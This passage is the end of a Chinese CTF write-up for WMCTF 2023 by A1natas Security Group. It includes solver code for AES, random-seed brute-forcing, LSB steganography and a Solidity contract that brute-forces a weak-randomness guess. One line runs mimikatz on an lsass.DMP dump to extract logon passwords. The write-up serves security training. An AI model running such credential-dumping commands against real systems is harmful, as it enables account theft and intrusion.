      Cipher((state_t*)buffer,ctx->RoundKey);

      /* Increment Iv and handle overflow */
      for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
      {
	/* inc will owerflow */
        if (ctx->Iv[bi] == 255)
	{
          ctx->Iv[bi] = 0;
          continue;
        } 
        ctx->Iv[bi] += 1;
        break;   
      }
      bi = 0;
    }

    buf[i] = (buf[i] ^ buffer[bi]);
  }
}

#endif // #if defined(CTR) && (CTR == 1)


int main() {
    uint8_t plaintxt[16] = { 0x2B, 0xC8, 0x20, 0x8B, 0x5C, 0x0D, 0xA7, 0x9B, 0x2A, 0x51, 0x3A, 0xD2, 0x71, 0x71, 0xCA, 0x50};
    uint8_t key[16] = "Re_1s_eaSy123456";

    struct AES_ctx ctx;
    AES_init_ctx(&ctx,key);
	AES_ECB_decrypt(&ctx,plaintxt);
    for(int i=0;i<16;i++){
		printf("%c",plaintxt[i]);
	}

	
    return 0;
}

Misc

find md

找到reddit中的帖子

https://www.reddit.com/user/WearyMeadow/comments/15u7773/hello/

发现一串base64编码 aHR0cHM6Ly91ZmlsZS5pby82NzB1bnN6cA==

base64解码得到以下链接：https://ufile.io/670unszp

下载得到一个流量包

流量包里面有secretkey对应failure，mysecretkey对应success

看起来是172.29.68.212这台主机的三个不同端口向172.29.64.1的12345端口发送了三段session

随后找到出题人的文章，框架是hexo，带有密码 https://wearymeadow.icu/2023/07/31/My-secret-encryption-algorithm/

找到对应的github，找到同一个时间点创建的仓库，尝试使用其中的password

passwordStr = ‘P@sSW0rD123$%^’

解密文章

自己实现了一个encrypt算法

找到流量包中的对话内容

爆破随机数，将内容解密

import socket
import random
from Crypto.Cipher import AES


def pad(s):
    return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

def unpad(s):
    return s.rstrip(b'\0')

key = bytes.fromhex("6d 79 73 65 63 72 65 74  6b 65 79 00 00 00 00 00")

def encrypt(message):
    seed  = random.randint(0, 11451)
    random.seed(seed)
    encrypted = b''
    for i in range(len(message)):
        encrypted += bytes([message[i] ^ random.randint(0, 255)])
    cipher = AES.new(key, AES.MODE_ECB)
    encrypted = cipher.encrypt(pad(encrypted))
    return encrypted

def decrypt(ciphertext):
    for i in range(11452):
        try:
            # print(i)
            random.seed(i)  # Use the same seed as during encryption
            cipher = AES.new(key, AES.MODE_ECB)
            decrypted = cipher.decrypt(ciphertext)
            decrypted = decrypted.rstrip(b"\x00")
            
            decrypted_message = b''
            for i in range(len(decrypted)):
                decrypted_message += bytes([decrypted[i] ^ random.randint(0, 255)])
            code = decrypted_message.decode()
            # if all([x in string.printable[:-6] for x in code]):
            print(code)
        except Exception as e:
            # print(e)
            pass


def dec(hex_text):
    decrypt(bytes.fromhex(hex_text))

if __name__ == '__main__':
    # dec("28 ba 3a af 94 cb e0 cc  37 ca 2e 74 8f ca 5c 30")# Hello
    # dec("1e 17 fb 9d 75 c3 ee 19  dd 59 4b ea 5a 92 3f 1b 3c af 78 b5 4b fc 33 1b  96 71 36 82 26 1a f1 29 ")   # Hello, What can i do for you?
    # dec("91 69 27 25 c8 86 94 84  79 fc 73 f2 21 18 ca 12  90 ca 3c df eb 65 d3 19  01 62 15 a6 d2 4c 98 8b")   # i just want some flag
    dec("77 8f 6c c1 30 90 c6 a4  f0 b5 19 39 d7 84 a6 b3  85 12 f8 0a 92 b8 2b f8  22 5f b8 bf ed 71 3b 2f  8e ee 53 df be 22 8c 72  96 44 9d 90 44 67 a1 67 7c 83 b9 53 4e 2d fc fc  bc 6f 7b 08 f7 7f 96 f2   ")
    # well, here you are: WMCTF{OH_Y0u_f1nd_Me__(@_@)}

overshared

开启靶机后是一个ssh认证的界面

所以应该是要我们从流量包中找出SSH连接的密码

从流量包中可以导出一个lsass.DMP文件

然后使用mimikatz一把梭出其中所有的用户名和密码

1	.\mimikatz.exe "sekurlsa::minidump lsass.DMP" "sekurlsa::logonPasswords full" exit

然后ssh连接上去cat flag即可

Fantastic terminal

硬编码写到了/challenge中。。。

Fantastic terminal REV

先获取文件

1	cat /challenge \| base64

然后放入ida进行patch，随便怎么改，只要能运行sub_136c就可以

STEG

StegLab1-PointAttack

lsb的简单处理，运气好，random没感染到存数据的像素块，侥幸的一血

from PIL import Image
import numpy as np

class Solution:
    def Encrypt(self, img_path, key):
        img = Image.open(img_path)
        img_array = np.array(img)
        key_data = key.encode()
        key_data += b"\x14"
        binary_key = ''.join(format(byte, '08b') for byte in key_data)
        
        key_index = 0

        for i in range(img_array.shape[0]):
            for j in range(img_array.shape[1]):
                if key_index < len(binary_key):
                    pixel = img_array[i, j]
                    pixel &= 0xFE 
                    pixel |= int(binary_key[key_index])
                    img_array[i, j] = pixel
                    key_index += 1
        
        encrypted_img = Image.fromarray(img_array)
        return encrypted_img

    def Decrypt(self, img_path):
        img = Image.open(f"{img_path}")
        img_array = np.array(img)
        extracted_key = ""
        l = 0
        flag = ""
        for i in range(img_array.shape[0]):
            for j in range(img_array.shape[1]):
                extracted_key += str(img_array[i, j][-1] & 1)
                l += 1
                if l == 8:
                    l = 0
                    data = bytes([int(extracted_key, 2)])
                    extracted_key = ""
                    if data == b"\x14":
                        return flag
                    else:
                        flag += data.decode()
        return ''

BLOCKCHAIN

Babyblock

合约源代码

contracts/Example.sol
pragma solidity ^0.5.0;

contract Challenge {
    bool public solved = false;
    uint256 private secretNumber;

    constructor() public {
        secretNumber = block.timestamp % 10 + 1;
    }

    function guessNumber(uint256 _num) public {
        uint256 num = _num;

        assembly {
            let m := mload(0x40)
            let a := and(sload(secretNumber_slot), 1)
            let b := and(num, 1)
            let result := eq(a, b)
            mstore(m, result)
            sstore(solved_slot, result)
        }
    }

    function isSolved() public view returns (bool) {
        return solved;
    }
}

简单理解就是让我们输入的guessNumber可以和随机产生block.timestamp % 10 + 1的值相同就行，由于是取模的操作，可以知道范围是在0-9，直接一个遍历就可以了

攻击的智能合约代码

pragma solidity ^0.5.0;

import "./test.sol";
contract Attacker {
    Challenge public challenge;

    constructor(address _challengeAddress) public {
        challenge = Challenge(_challengeAddress);
    }

    function attack() public {
        for (uint256 i = 0; i < 10; i++) {
            challenge.guessNumber(i);

            if (challenge.isSolved()) {
                break;
            }
        }
    }

    function attackStep(uint256 i) public {
        challenge.guessNumber(i);
    }
}

作者: A1natas Security Group

版权声明: 本文章采用 CC BY-NC-ND 4.0 许可协议, 转载请注明出处！